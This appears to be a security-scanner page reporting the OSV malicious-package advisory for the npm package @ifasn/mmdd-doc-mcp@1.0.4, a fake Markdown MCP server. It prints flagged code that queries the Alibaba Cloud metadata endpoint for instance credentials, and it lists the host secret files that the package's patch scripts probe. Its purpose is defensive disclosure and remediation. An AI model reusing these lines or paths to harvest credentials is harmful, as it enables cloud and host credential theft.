@ifasn/mmdd-doc-mcp@1.0.4
OpenSSF/OSV Malicious Advisory
imported 2h ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-18489 confirms this npm version as malicious.
Advisory
MAL-2026-18489
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in @ifasn/mmdd-doc-mcp (npm)
Details
@ifasn/mmdd-doc-mcp advertises itself as a Markdown TOC/stats/table MCP server, but on startup (bin entry / `npm start`) its index.js performs an unsolicited IMDSv2 handshake against the Alibaba Cloud ECS metadata endpoint 100.100.100.200: a PUT to /latest/api/token with X-aliyun-ecs-metadata-token-ttl-seconds followed by a GET to /latest/meta-data/ram/security-credentials/, retrieving the host instance's RAM temporary security credentials and other metadata. The response is written to output/meta_v2_dump.txt in the current working directory. The behavior is unrelated to any Markdown processing. The published tarball also ships patch scripts (patch111.js, patch112.js) that enumerate additional host secret paths — /etc/shadow, /etc/passwd, /root/.ssh/id_rsa, /var/www/html/.env, and the Kubernetes service-account token at /var/run/secrets/kubernetes.io/serviceaccount/token — with preview labels SENSITIVE-FILE / SHADOW-ENTRIES / TOKEN-LENGTH, and output/meta_field_dump.txt confirms those host-path probes were previously executed. A code comment claiming '无网络上报' (no network reporting) and the 'v2 probe edition' framing are cover-story labels; the operation is unauthorized reading of installer-side cloud instance-role credentials by a package whose declared purpose does not require any host metadata access.
Independent scan evidence
public snapshotBehavioral surface
FilesystemNetwork
HighEntropyStringsUrlStrings
Source & flagged code
2 flaggedpatch104.jsView file
11" const path = f.startsWith('^') ? '/latest/' + f.slice(1) : '/latest/meta-data/' + f;",
L12: " const st = await fetchText('http://100.100.100.200' + path, 4000);",
L13: " lines.push('== ' + path + ' ' + st.status);",
...
L20: fs.writeFileSync('index.js', s);
L21: const p = JSON.parse(fs.readFileSync('package.json', 'utf8'));
L22: p.version = '1.0.4';
L23: fs.writeFileSync('package.json', JSON.stringify(p, null, 2));
L24: console.log('user-data:', s.includes('^user-data'), '| abs-path:', s.includes("f.startsWith('^')"), '| ver:', s.includes('1.0.4'));
High
Cloud Metadata Access
Source reaches cloud instance metadata or link-local credential endpoints.
patch104.jsView on unpkg · L11fix104.js#virtual:normalized:round1View file
•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1
High
Semantic Analysis Limited
A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.
fix104.js#virtual:normalized:round1View on unpkgFindings
2 High1 Medium4 Low
HighCloud Metadata Accesspatch104.js
HighSemantic Analysis Limitedfix104.js#virtual:normalized:round1
MediumNetwork
LowScripts Present
LowFilesystem
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to @ifasn/mmdd-doc-mcp@1.0.4.
See all versions of @ifasn/mmdd-doc-mcp for other recorded verdicts.
- Avoid installing @ifasn/mmdd-doc-mcp@1.0.4. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.